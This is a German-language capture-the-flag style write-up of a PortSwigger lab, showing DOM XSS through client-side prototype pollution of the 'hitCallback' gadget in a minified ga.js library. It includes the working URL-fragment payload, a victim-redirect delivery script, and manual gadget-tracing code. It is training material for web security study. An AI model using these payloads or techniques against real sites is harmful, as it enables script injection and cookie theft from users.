> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md).

# Clientseitige Prototype Pollution in Drittanbieter-Bibliotheken

### Clientseitige Prototypenverschmutzung in Bibliotheken von Drittanbietern

#### Laborkontext

Dieses Labor ist anfällig für eine **DOM-XSS über eine clientseitige Prototypenverschmutzung**. / Die Besonderheit hier ist, dass das verwundbare **Gadget in einer JavaScript-Bibliothek eines Drittanbieters liegt**, deren Code **minimiert**ist, was eine manuelle Analyse komplexer macht.

Das Labor ist von realen Schwachstellen inspiriert, die von **PortSwigger Research**hervorgehoben wurden, insbesondere im Artikel Widespread prototype pollution gadgets von **Gareth Heyes**.

Endziel:/ \*\* Ausführen `alert(document.cookie)` im Browser des Opfers\*\*, unter Verwendung des bereitgestellten Exploit-Servers.

### Empfohlener Ansatz: Automatischer Angriff mit DOM Invader

#### Aktivierung von DOM Invader

1. Öffnen Sie den integrierten Browser, um **Burp Suite**.

<figure><img src="/files/58e235e1e2c7f984a17b4780b8f3feca5714d892" alt=""><figcaption></figcaption></figure>

* Prüfen Sie, ob die **DOM Invader** Erweiterung aktiv ist.

<figure><img src="/files/5713e1b314f0d84fb5d2036a1db0eaec74a2a7ea" alt=""><figcaption></figcaption></figure>

Aktivieren:

* **DOM Invader ist AN**
* **Angriffstyp : Prototypenverschmutzung**

<figure><img src="/files/551c108452391898e6ea17fd6cff9136a24a1195" alt=""><figcaption></figcaption></figure>

#### Identifizierung der verwundbaren Quelle

* In dem **DOM Invader** Registerkarte, eine **Quelle der Prototypenverschmutzung** wird automatisch erkannt.
* DOM Invader zeigt an, dass eine Verschmutzung über das \*\*URL-Fragment (`#`)\*\* möglich ist und nicht über herkömmliche Einstellungen (`?`).

<figure><img src="/files/c5ec653299625d3d4bb77f393bdc80cbafcdb2a9" alt=""><figcaption></figcaption></figure>

#### Automatische Gadget-Erkennung

1. Starten **Nach Gadgets suchen** mit DOM Invader.

<figure><img src="/files/56ed4936fc914dc16cc68dfa5530749b347b2976" alt=""><figcaption></figcaption></figure>

Ein ausnutzbares Gadget wird in einer Drittanbieter-Bibliothek identifiziert.

Durch Klicken auf **Exploit**bestätigt DOM Invader die Ausführung mit einem `alert(1)`.

<figure><img src="/files/df6d2dd1a75b92ac9bd084e78b77c169ff2ea58b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ab8483155fe1042bd82ce640e51304b4b8288df2" alt=""><figcaption></figcaption></figure>

#### Endgültige Payload (document.cookie)

Von DOM Invader identifizierte Payload:

```javascript
#constructor[prototype][hitCallback]=alert%28document.cookie%29
```

Diese Payload löst den Alert mit den Cookies aus

<figure><img src="/files/9d8a97cf7cb3d808e87053387d7a942d9c72f635" alt=""><figcaption></figcaption></figure>

#### Auslieferung des Exploits an das Opfer

Der folgende Code wird mit dem **laufenden Server**:

```javascript
<script>
    window.location.href = 'https://0aab001004b09f5780ab035a00c40034.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29';
</script>
```

Wenn das Opfer die Seite lädt, wird JavaScript in seinem Browser ausgeführt

### Manueller Ansatz (detaillierte Analyse)

#### Herkömmliche Verschmutzungsversuche (Fehlschlag)

Die folgenden Payloads \*\* funktionieren nicht\*\*:

```bash
/?__proto__[foo]=bar
/?__proto__.foo=bar
```

Ergebnis

```javascript
console.log({}.foo); // undefiniert
```

<figure><img src="/files/95936b896572c0829192065e918d42062a24b20b" alt=""><figcaption></figcaption></figure>

#### Verschmutzung über das URL-Fragment (Erfolg)

Allerdings funktioniert die Verschmutzung \*\* mit `#`\*\*:

```javascript
#__proto__[foo]=bar
#__proto__.foo=bar
```

Dies zeigt, dass die verwundbare Quelle das URL-Fragment verarbeitet

<figure><img src="/files/4723a893a04658d22cedc8ec161a39358f80e1a0" alt="" width="563"><figcaption></figcaption></figure>

#### Analyse der Drittanbieter-Bibliothek

* Eine große Datei wird geladen:

/resources/js/ga.js

Etwa 3000 Zeilen, minimierter Code.

* Diese Datei enthält einen Callback namens hitCallback, der ohne strenge Prüfung verwendet wird.

<figure><img src="/files/f9e50728d8072c56e10fab7cbeaabc63e0dd707f" alt=""><figcaption></figcaption></figure>

### Manuelle Gadget-Identifizierung

#### Tracing-Technik mit `Object.defineProperty`

Um die gelesenen Eigenschaften auf `Object.prototype`zu finden, injizieren wir:

```javascript
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

#### Anhalten der JavaScript-Ausführung

<figure><img src="/files/cb1e153e224a6eae93a95d4bc6a2c208c5179f7a" alt=""><figcaption></figcaption></figure>

Durch das Abfangen der HTML-Antwort injizieren wir:

```javascript
<script>
    debugger;
</script>
```

<figure><img src="/files/7e614ac4d027e6199d1c6ca828de14fd8e284e7e" alt=""><figcaption></figcaption></figure>

Der Browser stoppt bei \*\*

<figure><img src="/files/9cbf68f353f2ba99d64849d52daa2f92ed50c2fd" alt=""><figcaption></figcaption></figure>

#### Test möglicher Eigenschaften

Beispiel mit ungenutzter Eigenschaft

```javascript
Object.defineProperty(Object.prototype, 'anonymizeIp', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Kein interessanter Trace.

<figure><img src="/files/1d3c6dbcf9e70b122829488ab3d12818001ca221" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bb8dcb7a9a2bc08aebb58053e7b5844bca74ceb8" alt=""><figcaption></figcaption></figure>

#### Gültige Gadget-Entdeckung: `hitCallback`

```javascript
Object.defineProperty(Object.prototype, 'hitCallback', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Ergebnis:

* `console.trace()` zeigt eine Kette von Aufrufen von `ga.js`
* Die Eigenschaft wird ordnungsgemäß **gelesen und als Funktion ausgeführt**

Dieses Verhalten bestätigt, dass `hitCallback` als JavaScript-Callback aufgerufen wird

```javascript
console.trace() debugger eval code:3:17
    get debugger eval code:3
    get https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Vc https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
    j https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Fa https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:63
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    O https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:36
    push https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:33
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    Fe https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
```

<figure><img src="/files/b6431a1c78237000ebd81d644f672e7d66513058" alt=""><figcaption></figcaption></figure>

Dieses Verhalten bestätigt, dass `hitCallback` als JavaScript-Callback aufgerufen wird

```javascript
Nicht abgefangener ReferenceError: polluted ist nicht definiert
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
```

<figure><img src="/files/fe1203f25e4466908c17ed2549c1167ae667082f" alt=""><figcaption></figcaption></figure>

* Das `hitCallback` Gadget ermöglicht beliebige \*\*JavaScript-Ausführung\*\*, was zu einer **DOM-XSS**.

```javascript
Zc.prototype.stopPropagation = function () {
      throw 'aborted';
    };
    var Vc = function (a) {
      var b = this;
      this.fb = 0;
      var c = a.get(tc);
      this.Ua = function () {
        0 < b.fb &&
        c &&
        (b.fb--, b.fb || c())
      };
      this.Ja = function () {
        !b.fb &&
        c &&
        setTimeout(c, 10)
      };
      a.set(uc, b, !0)
    };
```

<figure><img src="/files/5bdf83188a4d165ba615ee6f3518800816a35ee8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
